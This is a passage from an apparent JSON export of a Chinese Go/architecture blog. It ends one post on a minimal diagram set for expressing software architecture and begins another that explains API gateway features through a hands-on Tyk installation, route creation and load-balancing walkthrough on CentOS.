无论是C4模型，还是arc42，亦或是UML语言，都包含部署图。在软件架构表达时，准确表达部署设计，对开发人员后续的实现具有很好的指导作用。通过部署图，架构设计人员可以说明静态图中的软件系统和/或容器实例是如何部署到给定部署环境（如生产、暂存、开发等）中的基础设施上的，比如下面这个部署示意图(来自c4model.com)：\n我们看到部署图中的核心角色是部署节点(Node)，它代表了软件系统/容器实例运行的位置；可能是物理基础设施（如物理服务器或设备）、虚拟化基础设施（如IaaS、PaaS、虚拟机）、容器化基础设施（如Docker容器）、执行环境（如数据库服务器、Java EE Web/应用服务器、Microsoft IIS）等，并且部署节点还可以嵌套。此外，右下角的”x N”表示需要多少个部署节点。\n通过部署图还可以表达云基础架构的情况(下图来自c4model.com)，可以包含DNS、负载均衡器以及防火墙等部署的基础设施的节点：\nstructurizr对于部署图支持的还不错，还可以像上图那样使用不同公有云提供商特色的Theme来绘制部署图。\n到这里，我们已经“凑齐”了表达软件系统架构的最小图集：语境图、容器图、序列图和部署图。我们要学会灵活使用这些图。在软件系统十分复杂的情况下，我们可以将语境图分为System Landscape diagram和多个sub system的语境图，之后以此类推，对于每个sub system做容器图等。\n4. 最小图集之外的图(可选) 有些公司或组织会将架构设计阶段延伸到container内部，这样对软件系统架构的表达就要延伸到详细设计，甚至是编码阶段时，我们就要考虑下面两个类型的Diagram了：组件图和代码图。\n4.1 组件图(Component Diagram) 如果容器图阶段，你所在的高度是100米，那么组件图阶段，你将位于高度为10米的空中，这足以让你看清容器中每个组件(Component)的细节。\n组件图就是容器内部的设计，它涉及到容器内部各个逻辑组件的结构与组件间的交互。在这个层次，你可以使用你擅长的面向对象设计方法，或者面向契约/接口的设计模式，你也可以使用一些成熟的企业应用设计模式，比如MVC等。\n下面是一张组件图示例(来自c4model.com)：\n我们看到中间的部分就是API Application这个容器内部的逻辑组件结构与交互情况。有些时候在组件图这一层面，我们甚至可以对照初对应项目中的代码布局结构。\n对于组件图中关键组件间的复杂交互流程，可辅以序列图的方式来表达。\n此外，组件图可以使用structurizr绘制，语法和语境图、容器图十分相似。\n4.2 代码图(Code Diagram) 再下降，我们来到离地面1米的高度，我们几乎要躬身入局，参与编码了。通常架构设计不会到达这个阶段，架构师们在100米或10米高度完成任务后，就可以去休息了。\n但如果包含这个阶段，我们要给出的便是代码图(Code Diagram)，再直白些，就是UML类图、E-R关系图等，下面是一个示意图：\n这是一个直面开发人员的图，你可以看到编程语言中的那些机制：接口、继承、实现等等，开发人员甚至可以通过工具将这样的uml class图直接转换为项目的骨架代码。\n4. 小结 本文首先介绍了为什么软件架构需要有效表达，以便开发者更好地理解架构设计。然后回顾了软件架构表达方式的演进历史，从自然语言描述到图形化表达，再到结构化图形表达、UML、形式化表达，最终发展到现在的多视角表达方式。\n文章结合笔者实践经验，借鉴多个多视角软件架构模型，提出了最小图集的概念，笔者认为有效表达软件架构最关键的视角有四个，分别是:\n语境图：描述系统的整体位置和边界 容器图：展示系统内部的容器及其关系 序列图：呈现容器内组件以及组件之间的交互行为 部署图：阐明系统在实际环境中的部署情况 此外，我认为还可根据需要补充组件图和代码图等更细节的视图。这套最小图集能较全面地表达软件系统的静态结构和动态行为，帮助开发者理解架构设计。\n总的来说，该文章从工程实践的视角出发，提出了一套行之有效的软件架构表达方法，对于架构设计的团队沟通及实现具有很好的指导意义。\nbtw，在容器图或组件图设计阶段，如果要完善工程设计，还可以结合具体的接口文档予以表达，比如基于Swagger的API设计文档等。\n5. 参考资料 《Software Architecture for Developers》- https://book.douban.com/subject/26248182/ The C4 model for visualising software architecture – https://c4model.com Unified Modeling Language Specification – https://www.omg.org/spec/UML The Unified Modeling Language – https://www.uml-diagrams.org Communicating Software Architecture – https://arquisoft.github.io/slides/course2021/EN.ASW.TE03_Documentation.pdf arc42 – https://arc42.org “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/12/06/a-minimum-set-of-diagrams-for-expressing-software-architecture/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/a-minimum-set-of-diagrams-for-expressing-software-architecture-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/12/06/a-minimum-set-of-diagrams-for-expressing-software-architecture\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/12/06/a-minimum-set-of-diagrams-for-expressing-software-architecture\"\u003ehttps://tonybai.com/2023/12/06/a-minimum-set-of-diagrams-for-expressing-software-architecture\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e无论你是专职的软件架构师，还是在团队内兼职充当软件架构师角色的开发人员，一旦你处在软件架构师这个位置上，你自然就会遇到软件架构设计的三个困惑：\u003c/p\u003e","title":"有效表达软件架构的最小图集"},{"content":"\n本文永久链接 – https://tonybai.com/2023/12/03/understand-api-gateway-main-functional-features-by-example\n在当今的技术领域中，“下云”的概念正逐渐抬头，像David Heinemeier Hansson(37signals公司的联合创始人, Ruby on Rails的Creator)就直接将公司所有的业务都从公有云搬迁到了自建的数据中心中。虽说大多数企业不会这么“极端”，但随着企业对云原生架构采用的广泛与深入，不可避免地面临着对云服务的依赖。云服务在过去的几年中被广泛应用于构建灵活、可扩展的应用程序和基础设施，为企业提供了许多便利和创新机会。然而，随着业务规模的增长和数据量的增加，云服务的成本也随之上升。企业开始意识到，对云服务的依赖已经成为一个值得重新评估的议题。云服务的开销可能占据了企业可用的预算的相当大部分。为了保持竞争力并更好地控制成本，企业需要寻找方法来减少对云服务的依赖，寻找更经济的解决方案，同时确保仍能获得所需的性能、安全性和可扩展性。\n在这样的背景下，我们的关注点是选择一款适宜的API网关，从主流功能特性的角度来评估候选者的支持。API网关作为现代云原生应用架构中的关键组件，扮演着连接前端应用和后端服务的中间层，负责管理、控制和保护API的访问。它的功能特性对于确保API的安全性、可靠性和可扩展性至关重要。\n尽管API网关并不是一个新鲜事物了，但对于那些长期依赖于云供应商的服务的人来说，它似乎变得有些“陌生”。因此，本文旨在帮助我们重新理解API网关的主要特性，并获得对API网关选型的能力，以便在停止使用云供应商服务之前，找到一个合适的替代品^_^。\n1. API网关回顾 API网关是现代应用架构中的关键组件之一，它的存在简化了应用程序的架构，并为客户端提供一个单一的访问入口，并进行相关的控制、优化和管理。API网关可以帮助企业实现微服务架构、提高系统的可扩展性和安全性，并提供更好的开发者体验和用户体验。\n1.1 API网关的演化 随着互联网的快速发展和企业对API的需求不断增长，API网关作为一种关键的中间层技术逐渐崭露头角并经历了一系列的演进和发展。这里将API网关的演进历史粗略分为以下几个阶段:\nAPI网关之前的早期阶段 在互联网发展的早期阶段，大多数应用程序都是以单体应用的形式存在。后来随着应用规模的扩大和业务复杂性的增加，单体应用的架构变得不够灵活和可扩展，面向服务架构（Service-Oriented Architecture，SOA）逐渐兴起，企业开始将应用程序拆分成一组独立的服务。这个时期，每个服务都是独立对外暴露API，客户端也是通过这些API直接访问服务，但这会导致一些安全性、运维和扩展性的问题。之后，企业也开始意识到需要一种中间层来管理和控制这种客户端到服务的通信行为，并确保服务的可靠性和安全性，于是开始有了API网关的概念。\nAPI网关的兴起 早期的API网关，其主要功能就是单纯的路由和转发。API网关将请求从客户端转发到后端服务，并将后端服务的响应返回给客户端。在这个阶段，API网关的功能非常简单，主要用于解决客户端和后端服务之间的通信问题。\nAPI网关的成熟 随着微服务架构的兴起和API应用的不断发展，企业开始将应用程序进一步拆分成更小的、独立部署的微服务。每个对外暴露的微服务都有自己的API，并通过API网关进行统一管理和访问。API网关在微服务架构中的作用变得更加重要，它的功能也逐渐丰富起来了。\n在这一阶段，它不仅负责路由和转发请求，API网关还增加了安全和治理的功能，可以满足几个不同领域的微服务需求。比如：API网关可以通过身份认证、授权、访问控制等功能来保护API的安全；通过基于重试、超时、熔断的容错机制等来对API的访问进行治理；通过日志记录、基于指标收集以及Tracing等对API的访问进行观测与监控；支持实时的服务发现等。\nAPI网关(图来自网络)\nAPI网关的云原生化 随着云原生技术的发展，如容器化和服务网格（Service Mesh）等，API网关也在不断演进和适应新的环境。在云原生环境中，API网关实现了与容器编排系统（如Kubernetes）和服务网格集成，其自身也可以作为一个云原生服务来部署，以实现更高的可伸缩性、弹性和自动化。同时，新的技术和标准也不断涌现，如GraphQL和gRPC等，API网关也增加了对这些新技术的集成和支持。\n1.2 API网关的主要功能特性 从上面的演化历史我们看到：API网关的演进使其从最初简单的请求转发角色，逐渐成为整个API管理和微服务架构中的关键组件。它不仅扮演着API管理层与后端服务层之间的适配器，也是云原生架构中不可或缺的基础设施，使微服务管理更加智能化和自动化。下面是现代API网关承担的主要功能特性，我们后续也会基于这些特性进行示例说明：\n请求转发和路由 身份认证和授权 流量控制和限速 高可用与容错处理 监控和可观测性 2. 那些主流的API网关 下面是来自CNCF Landscape中的主流API网关集合(截至2023.11月)，图中展示了关于各个网关的一些细节，包括star数量和背后开发的公司或组织：\n主流的API网关还有各大公有云提供商的实现，比如：Amazon的API Gateway、Google Cloud的API Gateway以及上图中的Azure API Management等，但它们不在我们选择范围之内；虽然被CNCF收录，但多数API网关受到的关注并不高，超过1k star的不到30%，这些不是很受关注或dev不是那么active的项目也无法在生产环境担当关键角色；而像APISIX、Kong这两个受关注很高的网关，它们是建构在Nginx之上实现的，技术栈与我们不契合；而像EMISSARY INGRESS、Gloo等则是完全云原生化或者说是Kubernetes Native的，无法在无Kubernetes的基于VM或裸金属的环境下部署和运行。\n好吧，剩下的只有几个Go实现的API Gateway了，在它们之中，我们选择用Tyk API网关来作为后续API功能演示的示例。\n注：这并不代表Tyk API网关就要比其他Go实现的API Gateway优秀，只是它的资料比较齐全，适合在本文中作演示罢了。\n3. API网关主要功能特性示例(Tyk API网关版本) 3.1 Tyk API网关简介 记得在至少5年前就知道Tyk API网关的存在，印象中它是使用Go语言开发的早期的那批API网关之一。Tyk从最初的纯开源项目，到如今由背后商业公司支持，以Open Core模式开源的网关，一直保持了active dev的状态。经过多年的演进，它已经一款功能强大的开源兼商业API管理和网关解决方案，提供了全面的功能和工具，帮助开发者有效地管理、保护和监控API。同时，Tyk API网关支持多种安装部署方式，即可以单一程序的方式放在物理机或VM上运行，也可以支持容器部署，通过docker-compose拉起，亦可以通过Kubernetes Operator将其部署在Kubernetes中，这也让Tyk API网关具备了在各大公有云上平滑迁移的能力。\n关于Tyk API网关开源版本的功能详情，可以点击左边超链接到其官网查阅，这里不赘述。\n3.2 安装Tyk API网关 下面我们就来安装一下Tyk API网关，我们直接在VM上安装，VM上的环境是CentOS 7.9。Tyk API提供了很多中安装方法，这里使用CentOS的yum包管理工具安装Tyk API网关，大体步骤如下(演示均以root权限操作)。\n3.2.1 创建tyk gateway软件源 默认的yum repo中是不包含tyk gateway的，我们需要在/etc/yum.repos.d下面创建一个新的源，即新建一个tyk_tyk-gateway.repo文件，其内容如下：\n[tyk_tyk-gateway] name=tyk_tyk-gateway baseurl=https://packagecloud.io/tyk/tyk-gateway/el/7/$basearch repo_gpgcheck=1 gpgcheck=0 enabled=1 gpgkey=https://packagecloud.io/tyk/tyk-gateway/gpgkey sslverify=1 sslcacert=/etc/pki/tls/certs/ca-bundle.crt metadata_expire=300 [tyk_tyk-gateway-source] name=tyk_tyk-gateway-source baseurl=https://packagecloud.io/tyk/tyk-gateway/el/7/SRPMS repo_gpgcheck=1 gpgcheck=0 enabled=1 gpgkey=https://packagecloud.io/tyk/tyk-gateway/gpgkey sslverify=1 sslcacert=/etc/pki/tls/certs/ca-bundle.crt metadata_expire=300 接下来我们执行下面命令来创建tyk_tyk-gateway这个repo的YUM缓存：\n$yum -q makecache -y --disablerepo='*' --enablerepo='tyk_tyk-gateway' 导入 GPG key 0x5FB83118: 用户ID : \u0026quot;https://packagecloud.io/tyk/tyk-gateway (https://packagecloud.io/docs#gpg_signing) \u0026lt;support@packagecloud.io\u0026gt;\u0026quot; 指纹 : 9179 6215 a875 8c40 ab57 5f03 87be 71bd 5fb8 3118 来自 : https://packagecloud.io/tyk/tyk-gateway/gpgkey repo配置和缓存完毕后，我们就可以安装Tyk API Gateway了：\n$yum install -y tyk-gateway 安装后的tky-gateway将以一个systemd daemon服务的形式存在于主机上，程序意外退出或虚机重启后，该服务也会被systemd自动拉起。通过systemctl status命令可以查看服务的运行状态：\n# systemctl status tyk-gateway ● tyk-gateway.service - Tyk API Gateway Loaded: loaded (/usr/lib/systemd/system/tyk-gateway.service; enabled; vendor preset: disabled) Active: active (running) since 日 2023-11-19 20:22:44 CST; 12min ago Main PID: 29306 (tyk) Tasks: 13 Memory: 19.6M CGroup: /system.slice/tyk-gateway.service └─29306 /opt/tyk-gateway/tyk --conf /opt/tyk-gateway/tyk.conf 11月 19 20:34:54 iZ2ze18rmx2avqb5xgb4omZ tyk[29306]: time=\u0026quot;Nov 19 20:34:54\u0026quot; level=error msg=\u0026quot;Connection to Redis faile...b-sub 11月 19 20:35:04 iZ2ze18rmx2avqb5xgb4omZ tyk[29306]: time=\u0026quot;Nov 19 20:35:04\u0026quot; level=error msg=\u0026quot;cannot set key in pollerC...ured\u0026quot; 11月 19 20:35:04 iZ2ze18rmx2avqb5xgb4omZ tyk[29306]: time=\u0026quot;Nov 19 20:35:04\u0026quot; level=error msg=\u0026quot;Redis health check failed...=main Hint: Some lines were ellipsized, use -l to show in full. 3.2.2 安装redis 我们看到tyk-gateway已经成功启动，但从其服务日志来看，它在连接redis时报错了！tyk gateway默认将数据存储在redis中，为了让tyk gateway正常运行，我们还需要安装redis！这里我们使用容器的方式安装和运行一个redis服务：\n$docker pull redis:6.2.14-alpine3.18 $docker run -d --name my-redis -p 6379:6379 redis:6.2.14-alpine3.18 e5d1ec8d5f5c09023d1a4dd7d31d293b2d7147f1d9a01cff8eff077c93a9dab7 拉取并运行redis后，我们通过redis-cli验证一下与redis server的连接：\n# docker run -it --rm redis:6.2.14-alpine3.18 redis-cli -h 192.168.0.24 192.168.0.24:6379\u0026gt; 我们看到可以正常连接！但此时Tyk Gateway仍然无法与redis正常连接，我们还需要对Tyk Gateway做一些配置调整！\n3.2.3 配置Tyk Gateway yum默认将Tyk Gateway安装到/opt/tyk-gateway下面，这个路径下的文件布局如下：\n$tree -F -L 2 . . ├── apps/ │ └── app_sample.json ├── coprocess/ │ ├── api.h │ ├── bindings/ │ ├── coprocess_common.pb.go │ ├── coprocess_mini_request_object.pb.go │ ├── coprocess_object_grpc.pb.go │ ├── coprocess_object.pb.go │ ├── coprocess_response_object.pb.go │ ├── coprocess_return_overrides.pb.go │ ├── coprocess_session_state.pb.go │ ├── coprocess_test.go │ ├── dispatcher.go │ ├── grpc/ │ ├── lua/ │ ├── proto/ │ ├── python/ │ └── README.md ├── event_handlers/ │ └── sample/ ├── install/ │ ├── before_install.sh* │ ├── data/ │ ├── init_local.sh │ ├── inits/ │ ├── post_install.sh* │ ├── post_remove.sh* │ ├── post_trans.sh │ └── setup.sh* ├── middleware/ │ ├── ottoAuthExample.js │ ├── sampleMiddleware.js │ ├── samplePostProcessMiddleware.js │ ├── samplePreProcessMiddleware.js │ ├── testPostVirtual.js │ ├── testVirtual.js │ └── waf.js ├── policies/ │ └── policies.json ├── templates/ │ ├── breaker_webhook.json │ ├── default_webhook.json │ ├── error.json │ ├── monitor_template.json │ └── playground/ ├── tyk* └── tyk.conf 其中tyk.conf就是tyk gateway的配置文件，我们先看看其默认的内容：\n$cat /opt/tyk-gateway/tyk.conf { \u0026quot;listen_address\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;listen_port\u0026quot;: 8080, \u0026quot;secret\u0026quot;: \u0026quot;xxxxxx\u0026quot;, \u0026quot;template_path\u0026quot;: \u0026quot;/opt/tyk-gateway/templates\u0026quot;, \u0026quot;use_db_app_configs\u0026quot;: false, \u0026quot;app_path\u0026quot;: \u0026quot;/opt/tyk-gateway/apps\u0026quot;, \u0026quot;middleware_path\u0026quot;: \u0026quot;/opt/tyk-gateway/middleware\u0026quot;, \u0026quot;storage\u0026quot;: { \u0026quot;type\u0026quot;: \u0026quot;redis\u0026quot;, \u0026quot;host\u0026quot;: \u0026quot;redis\u0026quot;, \u0026quot;port\u0026quot;: 6379, \u0026quot;username\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;password\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;database\u0026quot;: 0, \u0026quot;optimisation_max_idle\u0026quot;: 2000, \u0026quot;optimisation_max_active\u0026quot;: 4000 }, \u0026quot;enable_analytics\u0026quot;: false, \u0026quot;analytics_config\u0026quot;: { \u0026quot;type\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;ignored_ips\u0026quot;: [] }, \u0026quot;dns_cache\u0026quot;: { \u0026quot;enabled\u0026quot;: false, \u0026quot;ttl\u0026quot;: 3600, \u0026quot;check_interval\u0026quot;: 60 }, \u0026quot;allow_master_keys\u0026quot;: false, \u0026quot;policies\u0026quot;: { \u0026quot;policy_source\u0026quot;: \u0026quot;file\u0026quot; }, \u0026quot;hash_keys\u0026quot;: true, \u0026quot;hash_key_function\u0026quot;: \u0026quot;murmur64\u0026quot;, \u0026quot;suppress_redis_signal_reload\u0026quot;: false, \u0026quot;force_global_session_lifetime\u0026quot;: false, \u0026quot;max_idle_connections_per_host\u0026quot;: 500 } 我们看到：storage下面存储了redis的配置信息，我们需要将redis的host配置修改为我们的VM地址：\n\u0026quot;host\u0026quot;: \u0026quot;192.168.0.24\u0026quot;, 然后重启Tyk Gateway服务：\n$systemctl daemon-reload $systemctl restart tyk-gateway 之后，我们再查看tyk gateway的运行状态：\nsystemctl status tyk-gateway ● tyk-gateway.service - Tyk API Gateway Loaded: loaded (/usr/lib/systemd/system/tyk-gateway.service; enabled; vendor preset: disabled) Active: active (running) since 一 2023-11-20 06:54:07 CST; 41s ago Main PID: 20827 (tyk) Tasks: 15 Memory: 24.8M CGroup: /system.slice/tyk-gateway.service └─20827 /opt/tyk-gateway/tyk --conf /opt/tyk-gateway/tyk.conf 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=info msg=\u0026quot;Loading API configurations...=main 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=info msg=\u0026quot;Tracking hostname\u0026quot; api_nam...=main 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=info msg=\u0026quot;Initialising Tyk REST API ...=main 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=info msg=\u0026quot;API bind on custom port:0\u0026quot;...=main 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=info msg=\u0026quot;Checking security policy: ...fault 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=info msg=\u0026quot;API Loaded\u0026quot; api_id=1 api_n...ip=-- 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=info msg=\u0026quot;Loading uptime tests...\u0026quot; p...k-mgr 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=info msg=\u0026quot;Initialised API Definition...=main 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=warning msg=\u0026quot;All APIs are protected ...=main 11月 20 06:54:07 iZ2ze18rmx2avqb5xgb4omZ tyk[20827]: time=\u0026quot;Nov 20 06:54:07\u0026quot; level=info msg=\u0026quot;API reload complete\u0026quot; prefix=main Hint: Some lines were ellipsized, use -l to show in full. 从服务日志来看，现在Tyk Gateway可以正常连接redis并提供服务了！我们也可以通过下面的命令验证网关的运行状态：\n$curl localhost:8080/hello {\u0026quot;status\u0026quot;:\u0026quot;pass\u0026quot;,\u0026quot;version\u0026quot;:\u0026quot;5.2.1\u0026quot;,\u0026quot;description\u0026quot;:\u0026quot;Tyk GW\u0026quot;,\u0026quot;details\u0026quot;:{\u0026quot;redis\u0026quot;:{\u0026quot;status\u0026quot;:\u0026quot;pass\u0026quot;,\u0026quot;componentType\u0026quot;:\u0026quot;datastore\u0026quot;,\u0026quot;time\u0026quot;:\u0026quot;2023-11-20T06:58:57+08:00\u0026quot;}}} “/hello”是Tyk Gateway的内置路由，由Tyk网关自己提供服务。\n到这里Tyk Gateway的安装和简单配置就结束了，接下来，我们就来看看API Gateway的主要功能特性，并借助Tyk Gateway来展示一下这些功能特性。\n注：查看Tyk Gateway的运行日志，可以使用journalctl -u tyk-gateway -f命令实时follow最新日志输出。\n3.3 功能特性：请求转发与路由 请求转发和路由是API Gateway的主要功能特性之一，API Gateway可以根据请求的路径、方法、查询参数等信息将请求转发到相应的后端服务，其内核与反向代理类似，不同之处在于API Gateway增加了“API”这层抽象，更加专注于构建、管理和增强API。\n下面我们来看看Tyk如何配置API路由，我们首先创建一个新API。\n3.3.1 创建一个新API Tyk开源版支持两种创建API的方式，一种是通过调用Tyk的控制类API，一种则是通过传统的配置文件，放入特定目录下。无论哪种方式添加完API，最终都要通过Tyk Gateway热加载(hot reload)或重启才能生效。\n注：Tyk Gateway的商业版本提供Dashboard，可以以图形化的方式管理API，并且商业版本的API定义会放在Postgres或MongoDB中，我们这里用开源版本，只能手工管理了，并且API定义只能放在文件中。\n下面，我们就来在Tyk上创建一个新的API路由，该路由示例的示意图如下：\n在未添加新API之前，我们使用curl访问一下该API路径：\n$curl localhost:8080/api/v1/no-authn Not Found Tyk Gateway由于找不到API路由，返回Not Found。接下来，我们采用调用tyk gateway API的方式来添加路由：\n$curl -v -H \u0026quot;x-tyk-authorization: {tyk gateway secret}\u0026quot; \\ -s \\ -H \u0026quot;Content-Type: application/json\u0026quot; \\ -X POST \\ -d '{ \u0026quot;name\u0026quot;: \u0026quot;no-authn-v1\u0026quot;, \u0026quot;slug\u0026quot;: \u0026quot;no-authn-v1\u0026quot;, \u0026quot;api_id\u0026quot;: \u0026quot;no-authn-v1\u0026quot;, \u0026quot;org_id\u0026quot;: \u0026quot;1\u0026quot;, \u0026quot;use_keyless\u0026quot;: true, \u0026quot;auth\u0026quot;: { \u0026quot;auth_header_name\u0026quot;: \u0026quot;Authorization\u0026quot; }, \u0026quot;definition\u0026quot;: { \u0026quot;location\u0026quot;: \u0026quot;header\u0026quot;, \u0026quot;key\u0026quot;: \u0026quot;x-api-version\u0026quot; }, \u0026quot;version_data\u0026quot;: { \u0026quot;not_versioned\u0026quot;: true, \u0026quot;versions\u0026quot;: { \u0026quot;Default\u0026quot;: { \u0026quot;name\u0026quot;: \u0026quot;Default\u0026quot;, \u0026quot;use_extended_paths\u0026quot;: true } } }, \u0026quot;proxy\u0026quot;: { \u0026quot;listen_path\u0026quot;: \u0026quot;/api/v1/no-authn\u0026quot;, \u0026quot;target_url\u0026quot;: \u0026quot;http://localhost:18081/\u0026quot;, \u0026quot;strip_listen_path\u0026quot;: true }, \u0026quot;active\u0026quot;: true }' http://localhost:8080/tyk/apis | python -mjson.tool * About to connect() to localhost port 8080 (#0) * Trying ::1... * Connected to localhost (::1) port 8080 (#0) \u0026gt; POST /tyk/apis HTTP/1.1 \u0026gt; User-Agent: curl/7.29.0 \u0026gt; Host: localhost:8080 \u0026gt; Accept: */* \u0026gt; x-tyk-authorization: {tyk gateway secret} \u0026gt; Content-Type: application/json \u0026gt; Content-Length: 797 \u0026gt; } [data not shown] * upload completely sent off: 797 out of 797 bytes \u0026lt; HTTP/1.1 200 OK \u0026lt; Content-Type: application/json \u0026lt; Date: Wed, 22 Nov 2023 05:38:40 GMT \u0026lt; Content-Length: 53 \u0026lt; { [data not shown] * Connection #0 to host localhost left intact { \u0026quot;action\u0026quot;: \u0026quot;added\u0026quot;, \u0026quot;key\u0026quot;: \u0026quot;no-authn-v1\u0026quot;, \u0026quot;status\u0026quot;: \u0026quot;ok\u0026quot; } 从curl返回结果我们看到：API已经被成功添加。这时tyk gateway的安装目录/opt/tyk-gateway的子目录apps下会新增一个名为no-authn-v1.json的配置文件，这个文件内容较多，有300行，这里就不贴出来了，这个文件就是新增的no-authn API的定义文件。\n不过此刻，Tyk Gateway还需热加载后才能为新的API提供服务，调用下面API可以触发Tyk Gateway的热加载：\n$curl -H \u0026quot;x-tyk-authorization: {tyk gateway secret}\u0026quot; -s http://localhost:8080/tyk/reload/group | python -mjson.tool { \u0026quot;message\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;status\u0026quot;: \u0026quot;ok\u0026quot; } 注：即便触发热加载成功，但如果body中的json格式错，比如多了一个结尾逗号，Tyk Gateway是不会报错的！\nAPI路由创建完毕并生效后，我们再来访问一下API：\n$ curl localhost:8080/api/v1/no-authn { \u0026quot;error\u0026quot;: \u0026quot;There was a problem proxying the request\u0026quot; } 我们看到：Tyk Gateway返回的已经不是“Not Found”了！现在我们创建一下no-authn这个API服务，考虑到适配更多后续示例，这里建立这样一个http server：\n// api-gateway-examples/httpserver func main() { // 解析命令行参数 port := flag.Int(\u0026quot;p\u0026quot;, 8080, \u0026quot;Port number\u0026quot;) apiVersion := flag.String(\u0026quot;v\u0026quot;, \u0026quot;v1\u0026quot;, \u0026quot;API version\u0026quot;) apiName := flag.String(\u0026quot;n\u0026quot;, \u0026quot;example\u0026quot;, \u0026quot;API name\u0026quot;) flag.Parse() // 注册处理程序 http.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, r *http.Request) { fmt.Println(*r) fmt.Fprintf(w, \u0026quot;Welcome api: localhost:%d/%s/%s\\n\u0026quot;, *port, *apiVersion, *apiName) }) // 启动HTTP服务器 addr := fmt.Sprintf(\u0026quot;:%d\u0026quot;, *port) log.Printf(\u0026quot;Server listening on port %d\\n\u0026quot;, *port) log.Fatal(http.ListenAndServe(addr, nil)) } 我们启动一个该http server的实例：\n$go run main.go -p 18081 -v v1 -n no-authn 2023/11/22 22:02:42 Server listening on port 18081 现在我们再通过tyk gateway调用一下no-authn这个API：\n$curl localhost:8080/api/v1/no-authn Welcome api: localhost:18081/v1/no-authn 我们看到这次路由通了！no-authn API返回了期望的结果！\n3.3.2 负载均衡 如果no-authn API存在多个服务实例，Tyk Gateway也可以将请求流量负载均衡到多个no-authn服务实例上去，下图是Tyk Gateway进行请求流量负载均衡的示意图：\n要实现负责均衡，我们需要调整no-authn API的定义，这次我们直接修改/opt/tyk-gateway/apps/no-authn-v1.json，变更的配置主要有三项：\n// /opt/tyk-gateway/apps/no-authn-v1.json \u0026quot;proxy\u0026quot;: { \u0026quot;preserve_host_header\u0026quot;: false, \u0026quot;listen_path\u0026quot;: \u0026quot;/api/v1/no-authn\u0026quot;, \u0026quot;target_url\u0026quot;: \u0026quot;\u0026quot;, // (1) 改为\u0026quot;\u0026quot; \u0026quot;disable_strip_slash\u0026quot;: false, \u0026quot;strip_listen_path\u0026quot;: true, \u0026quot;enable_load_balancing\u0026quot;: true, // (2) 改为true \u0026quot;target_list\u0026quot;: [ // (3) 填写no-authn服务实例列表 \u0026quot;http://localhost:18081/\u0026quot;, \u0026quot;http://localhost:18082/\u0026quot;, \u0026quot;http://localhost:18083/\u0026quot; ], 修改完配置后，调用Tyk的控制类API使之生效，然后我们启动三个no-authn的API实例：\n$go run main.go -p 18081 -v v1 -n no-authn $go run main.go -p 18082 -v v1 -n no-authn $go run main.go -p 18083 -v v1 -n no-authn 接下来，我们多次调用curl访问no-authn API：\n$curl localhost:8080/api/v1/no-authn Welcome api: localhost:18081/v1/no-authn $curl localhost:8080/api/v1/no-authn Welcome api: localhost:18082/v1/no-authn $curl localhost:8080/api/v1/no-authn Welcome api: localhost:18083/v1/no-authn $curl localhost:8080/api/v1/no-authn Welcome api: localhost:18081/v1/no-authn $curl localhost:8080/api/v1/no-authn Welcome api: localhost:18082/v1/no-authn $curl localhost:8080/api/v1/no-authn Welcome api: localhost:18083/v1/no-authn 我们看到：Tyk Gateway在no-authn API的各个实例之间做了等权重的轮询。如果我们停掉实例3，再来访问该API，我们将得到下面结果：\n$curl localhost:8080/api/v1/no-authn Welcome api: localhost:18081/v1/no-authn $curl localhost:8080/api/v1/no-authn Welcome api: localhost:18082/v1/no-authn $curl localhost:8080/api/v1/no-authn Bad Request $curl localhost:8080/api/v1/no-authn Welcome api: localhost:18081/v1/no-authn $curl localhost:8080/api/v1/no-authn Welcome api: localhost:18082/v1/no-authn $curl localhost:8080/api/v1/no-authn Bad Request 注：Tyk 